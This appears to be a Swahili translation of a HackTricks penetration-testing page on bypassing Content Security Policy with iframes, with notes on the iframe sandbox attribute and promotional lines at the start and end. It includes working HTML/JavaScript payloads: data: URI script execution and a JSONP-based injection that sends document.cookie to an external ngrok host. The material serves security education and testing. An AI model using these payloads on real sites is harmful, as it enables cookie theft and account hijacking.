Je, unafanya kazi katika kampuni ya usalama wa mtandao? Je, ungependa kuona kampuni yako ikitangazwa kwenye HackTricks? au ungependa kupata upatikanaji wa toleo jipya la PEASS au kupakua HackTricks kwa PDF? Angalia MIPANGO YA USAJILI!
<!-- content of child.html --><script>var secret="child secret";alert(parent.secret)</script>
Iframes na CSP
Tafadhali, elewa jinsi katika kukiuka zifuatazo majibu kwa ukurasa ulio na iframe hayana kichwa cha CSP kinachozuia utekelezaji wa JS.
Thamani ya self ya script-src haitaruhusu utekelezaji wa msimbo wa JS ukitumia itifaki ya data: au sifa ya srcdoc.
Hata hivyo, hata thamani ya none ya CSP itaruhusu utekelezaji wa iframes ambazo huingiza URL (kamili au tu njia) katika sifa ya src.
Hivyo ni rahisi kukiuka CSP ya ukurasa na:
Tafadhali angalia jinsi CSP ya awali inaruhusu utekelezaji wa skripti ya ndani.
Hata hivyo, tu if1 na if2 skripti zitatekelezwa lakini if1 pekee itaweza kufikia siri ya mzazi.
Hivyo basi, ni rahisi kukiuka CSP ikiwa unaweza kupakia faili ya JS kwenye seva na kuipakia kupitia fremu hata na script-src 'none'. Hii inaweza pia kufanywa kwa kudhuru kituo cha JSONP cha tovuti ile ile.
Unaweza kufanya majaribio haya na hali ifuatayo ambapo kuki inaibiwa hata na script-src 'none'. Fanya programu iende na ufikie kwa kutumia kivinjari chako:
<!-- This one requires the data: scheme to be allowed --><iframesrcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe><!-- This one injects JS in a jsonp endppoint --><iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
Iframe ya mchanga
Maudhui ndani ya iframe inaweza kuwekwa chini ya vizuizi zaidi kupitia matumizi ya sifa ya sandbox. Kwa chaguo-msingi, sifa hii haitekelezwi, maana hakuna vizuizi vilivyowekwa.
Inapotumiwa, sifa ya sandbox inaweka vizuizi kadhaa:
Maudhui yanashughulikiwa kana kwamba yanatoka kwenye chanzo kimoja.
Jaribio lolote la kuwasilisha fomu linazuiliwa.
Utekelezaji wa scripts unazuiliwa.
Upatikanaji wa APIs fulani unalemazwa.
Inazuia viungo kutoka kuingiliana na muktadha mwingine wa kuvinjari.
Matumizi ya programu-jalizi kupitia <embed>, <object>, <applet>, au vitambulisho vinavyofanana haviruhusiwi.
Uvinjari wa muktadha wa kuvinjari wa kiwango cha juu cha maudhui na maudhui yenyewe unazuiliwa.
Vipengele vinavyoanzishwa moja kwa moja, kama vile kucheza video au kufanya fomu zifanye autofocus, vinazuiliwa.
Thamani ya sifa inaweza kuachwa tupu (sandbox="") ili kuweka vizuizi vyote vilivyotajwa hapo juu. Vinginevyo, inaweza kuwekwa kwa orodha ya thamani maalum zilizotenganishwa na nafasi ambazo zinatoa msamaha kwa iframe kutoka kwa vizuizi fulani.
Je, unafanya kazi katika kampuni ya usalama wa mtandao? Je, ungependa kuona kampuni yako ikitangazwa kwenye HackTricks? au ungependa kupata upatikanaji wa toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF? Angalia MIPANGO YA USAJILI!